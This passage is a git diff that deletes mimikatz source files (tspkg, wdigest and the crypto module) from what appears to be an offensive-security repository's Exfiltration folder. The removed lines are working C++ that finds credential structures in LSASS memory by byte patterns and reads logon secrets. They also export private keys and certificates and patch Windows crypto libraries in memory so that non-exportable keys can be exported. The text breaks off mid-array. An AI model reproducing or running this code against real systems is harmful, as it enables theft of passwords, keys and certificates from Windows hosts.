if(HMODULE monModule = LoadLibrary(L"tspkg")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset); - *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (pModTSPKG && TSGlobalCredTable); -} - -bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchTSPKGFuncs()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)]; - if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId))) - { - if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuffP); - if(pLogSession->pTsPrimary) - { - if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) - mesCreds = &(reinterpret_cast(monBuffC)->credentials); - } - else (*outputStream) << L"n.s. (SuppCred KO) / "; - } - } - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); - delete [] monBuffC, monBuffP; - } - else (*outputStream) << L"n.a. (tspkg KO)"; - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h deleted file mode 100644 index 35a3b15a..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h +++ /dev/null @@ -1,37 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_tspkg { - -private: - typedef struct _KIWI_TS_PRIMARY_CREDENTIAL { - PVOID unk0; // lock ? - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL; - - typedef struct _KIWI_TS_CREDENTIAL { - #ifdef _M_X64 - BYTE unk0[108]; - #elif defined _M_IX86 - BYTE unk0[64]; - #endif - LUID LocallyUniqueIdentifier; - PVOID unk1; - PVOID unk2; - PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary; - } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL; - - static PRTL_AVL_TABLE TSGlobalCredTable; - static bool searchTSPKGFuncs(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG; - static bool getTsPkg(vector * arguments); - static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp deleted file mode 100644 index b6e3062d..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp +++ /dev/null @@ -1,91 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "wdigest.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL; -mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL; -long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0; - -bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getWDigestLogonData, wstring(L"wdigest"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList() -{ -#ifdef _M_X64 - BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d}; - BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39}; - BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85}; -#elif defined _M_IX86 - BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04}; - BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04}; - BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04}; -#endif - LONG OFFS_WALL_InsertInLogSess = -4; - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - - pointeur= reinterpret_cast(&l_LogSessList); - offset = OFFS_WALL_InsertInLogSess; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern = PTRN_WNO8_InsertInLogSess; - taille = sizeof(PTRN_WNO8_InsertInLogSess); - } - else if(mod_system::GLOB_Version.dwBuildNumber < 8400) - { - pattern = PTRN_W8CP_InsertInLogSess; - taille = sizeof(PTRN_W8CP_InsertInLogSess); - } - else - { - pattern = PTRN_W8RP_InsertInLogSess; - taille = sizeof(PTRN_W8RP_InsertInLogSess); - } - - if(HMODULE monModule = LoadLibrary(L"wdigest")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false); - *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - -#ifdef _M_X64 - offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48); -#elif defined _M_IX86 - offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32); -#endif - } - return (pModWDIGEST && l_LogSessList); -} - -bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchWDigestEntryList()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL); - BYTE * monBuff = new BYTE[taille]; - if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId)) - if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) - mesCreds = reinterpret_cast(reinterpret_cast(monBuff) + offsetWDigestPrimary); - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); - delete [] monBuff; - } - else (*outputStream) << L"n.a. (wdigest KO)"; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h deleted file mode 100644 index 9db3c8b0..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_wdigest { - -private: - typedef struct _KIWI_WDIGEST_LIST_ENTRY { - struct _KIWI_WDIGEST_LIST_ENTRY *Flink; - struct _KIWI_WDIGEST_LIST_ENTRY *Blink; - DWORD UsageCount; - struct _KIWI_WDIGEST_LIST_ENTRY *This; - LUID LocallyUniqueIdentifier; - } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; - - static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList; - static long offsetWDigestPrimary; - static bool searchWDigestEntryList(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST; - static bool getWDigest(vector * arguments); - static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity); -}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp deleted file mode 100644 index a869cd86..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp +++ /dev/null @@ -1,594 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_crypto.h" -#include "..\global.h" - -vector mod_mimikatz_crypto::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installs)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins systme")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de cls")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les cls")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de cls pour l\'export de cls non exportable")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de cls non exportable")); - return monVector; -} - -bool mod_mimikatz_crypto::listProviders(vector * arguments) -{ - vector * monVectorProviders = new vector(); - /* CryptoAPI */ - (*outputStream) << L"Providers CryptoAPI :" << endl; - if(mod_cryptoapi::getVectorProviders(monVectorProviders)) - for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) - (*outputStream) << L'\t' << *monProvider << endl; - else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl; - - /* CryptoNG */ - if(mod_cryptong::isNcrypt) - { - (*outputStream) << endl; - monVectorProviders->clear(); - - (*outputStream) << L"Providers CNG :" << endl; - if(mod_cryptong::getVectorProviders(monVectorProviders)) - for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) - (*outputStream) << L'\t' << *monProvider << endl; - else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl; - } - delete monVectorProviders; - return true; -} - -bool mod_mimikatz_crypto::listKeys(vector * arguments) -{ - listAndOrExportKeys(arguments, false); - return true; -} - -bool mod_mimikatz_crypto::exportKeys(vector * arguments) -{ - listAndOrExportKeys(arguments, true); - return true; -} - -bool mod_mimikatz_crypto::listStores(vector * arguments) -{ - wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front()); - - (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; - - DWORD systemStore; - if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) - { - (*outputStream) << endl; - vector * mesStores = new vector(); - if(mod_crypto::getVectorSystemStores(mesStores, systemStore)) - for(vector::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++) - (*outputStream) << L'\t' << *monStore << endl; - else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl; - delete mesStores; - } - else (*outputStream) << L" introuvable !" << endl; - return true; -} - -bool mod_mimikatz_crypto::listCertificates(vector * arguments) -{ - listAndOrExportCertificates(arguments, false); - return true; -} - -bool mod_mimikatz_crypto::exportCertificates(vector * arguments) -{ - listAndOrExportCertificates(arguments, true); - return true; -} - -void mod_mimikatz_crypto::listAndOrExportKeys(vector * arguments, bool exportKeys) -{ - bool isMachine = false; - DWORD providerType = PROV_RSA_FULL; - wstring provider = MS_ENHANCED_PROV; - - switch (arguments->size()) - { - case 1: - isMachine = true; - case 0: - break; - case 3: - isMachine = true; - arguments->erase(arguments->begin()); - case 2: - mod_cryptoapi::getProviderString(arguments->front(), &provider); - mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType); - break; - default : - (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl; - return; - } - - - wstring type = (isMachine ? L"machine" : L"user"); - - vector * monVectorKeys = new vector(); - - /* CryptoAPI */ - (*outputStream) << L"[" << type << L"] Cls CryptoAPI :" << endl; - if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine)) - { - DWORD i; - vector::iterator monContainer; - for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) - { - (*outputStream) << L"\t - " << *monContainer << endl; - - HCRYPTPROV hCryptKeyProv = NULL; - if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) - { - HCRYPTKEY maCle = NULL; - for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++) - { - if(CryptGetUserKey(hCryptKeyProv, ks, &maCle)) - { - (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl; - DWORD param = 0, taille = sizeof(param); - if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(¶m), &taille, NULL)) - (*outputStream) << L"\t\tExportabilit : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl; - if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(¶m), &taille, NULL)) - (*outputStream) << L"\t\tTaille cl : " << param << endl; - - if(exportKeys) - { - bool reussite = false; - BYTE * monExport = NULL; - DWORD tailleExport = 0; - - wstringstream monBuff; - wstring containerName = *monContainer; - sanitizeFileName(&containerName); - - monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk"; - - if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport)) - { - reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks); - delete[] monExport; - } - - (*outputStream) << L"\t\tExport priv dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; - } - } - } - } - - if(maCle) - CryptDestroyKey(maCle); - else - (*outputStream) << L"\t\t* Erreur de cl ; " << mod_system::getWinError() << endl; - - - CryptReleaseContext(hCryptKeyProv, 0); - } - else (*outputStream) << L"\t\t* Erreur d\'acquisition de la cl ; " << mod_system::getWinError() << endl; - } - } - else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl; - - /* CryptoNG */ - if(mod_cryptong::isNcrypt) - { - (*outputStream) << endl; - monVectorKeys->clear(); - - (*outputStream) << L"[" << type << L"] Cls CNG :" << endl; - if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine)) - { - DWORD i; - vector::iterator monContainer; - for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) - { - (*outputStream) << L"\t - " << *monContainer << endl; - - NCRYPT_KEY_HANDLE maCle; - if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine)) - { - bool exportable = false; - DWORD size = 0; - - if(mod_cryptong::isKeyExportable(&maCle, &exportable)) - (*outputStream) << L"\t\tExportabilit : " << (exportable ? L"OUI" : L"NON") << endl; - if(mod_cryptong::getKeySize(&maCle, &size)) - (*outputStream) << L"\t\tTaille cl : " << size << endl; - - if(exportKeys) - { - bool reussite = false; - BYTE * monExport = NULL; - DWORD tailleExport = 0; - - wstringstream monBuff; - monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk"; - - if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport)) - { - reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str()); - delete[] monExport; - } - - (*outputStream) << L"\t\tExport priv dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; - } - } - mod_cryptong::NCryptFreeObject(maCle); - } - } - } - else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl; - } - - delete monVectorKeys; -} - - -void mod_mimikatz_crypto::listAndOrExportCertificates(vector * arguments, bool exportCert) -{ - wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER"; - wstring monStore = L"My"; - - if(arguments->size() == 1) - { - monEmplacement = arguments->front(); - } - else if(arguments->size() == 2) - { - monEmplacement = arguments->front(); - monStore = arguments->back(); - } - - (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; - - DWORD systemStore; - if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) - { - (*outputStream) << L"\\" << monStore << endl; - if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str())) - { - DWORD i; - PCCERT_CONTEXT pCertContext; - for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) - { - wstring * certName = new wstring(); - bool reussite = false; - - if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName)) - certName->assign(L"[empty]"); - - (*outputStream) << L"\t - " << *certName << endl;; - sanitizeFileName(certName); - - wstringstream monBuff; - monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.'; - - mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo; - if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo)) - { - (*outputStream) << L"\t\tContainer Cl : " << keyProvInfo.pwszContainerName << endl; - (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl; - - HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL; - DWORD keySpec = 0; - BOOL aFermer = false; - - if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer)) - { - (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl; - - DWORD size = 0; - bool exportable = false; - - if(keySpec == CERT_NCRYPT_KEY_SPEC) - { - if(mod_cryptong::isNcrypt) - { - reussite = mod_cryptong::getKeySize(&monProv, &size); - reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable); - - if(aFermer) - { - mod_cryptong::NCryptFreeObject(monProv); - } - } - else (*outputStream) << L"\t\t\tErreur : Cl de type nCrypt, sans nCrypt ?" << endl; - } - else - { - DWORD tailleEcrite = 0; - DWORD exportability; - - HCRYPTKEY maCle = NULL; - if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0)) - { - tailleEcrite = sizeof(DWORD); - reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(&size), &tailleEcrite, NULL) != 0); - tailleEcrite = sizeof(DWORD); - reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(&exportability), &tailleEcrite, NULL) != 0); - exportable = (exportability & CRYPT_EXPORT) != 0; - } - - if(aFermer) - { - CryptReleaseContext(monProv, 0); - } - } - if(reussite) - { - (*outputStream) << L"\t\tExportabilit : " << (exportable ? L"OUI" : L"NON") << endl; - (*outputStream) << L"\t\tTaille cl : " << size << endl; - } - - if(exportCert) - { - wstring PFXFile = monBuff.str(); - PFXFile.append(L"pfx"); - - reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz"); - - (*outputStream) << L"\t\tExport priv dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; - } - } - } - else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl; - } - - if(exportCert) - { - wstring DERFile = monBuff.str(); - DERFile.append(L"der"); - - reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile); - - (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; - if(!reussite) - { - (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; - } - } - delete certName; - } - CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); - } - else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L" introuvable !" << endl; -} - - -bool mod_mimikatz_crypto::patchcapi(vector * arguments) -{ - wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll"; - char FUNCNAM_WALL_EXPORT[] = "CPExportKey"; -#ifdef _M_X64 - BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75}; - BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72}; - BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; - LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4; - LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5; - - BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82}; - BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; - LONG OFFS_W6AL_CPExportKey_EXPORT = 5; - LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2; -#elif defined _M_IX86 - BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75}; - BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84}; - BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; - LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5; - LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7; - - BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85}; - BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85}; - BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; - BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; - LONG OFFS_WI60_CPExportKey_EXPORT = 3; - LONG OFFS_WIN6_CPExportKey_EXPORT = 5; -#endif - - PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0; - PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001); - pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000); - patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT); - offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT; - offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT; - } - else - { -#ifdef _M_X64 - pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001); - patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); - offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); - offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT; - } - else - { - pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000); - offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT; - } -#elif defined _M_IX86 - patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001); - pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000); - offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT; - } - else - { - pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001); - pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); - offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT; - } -#endif - } - - if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA)) - { - if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) && - mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true)) - { - (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvs !" << endl << - L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl << - L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl; - } - FreeLibrary(hRSA); - } - return true; -} - -bool mod_mimikatz_crypto::patchcng(vector * arguments) -{ - wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll"; - wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll"; -#ifdef _M_X64 - BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75}; - BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75}; - BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85}; - - BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9}; - BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; - BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 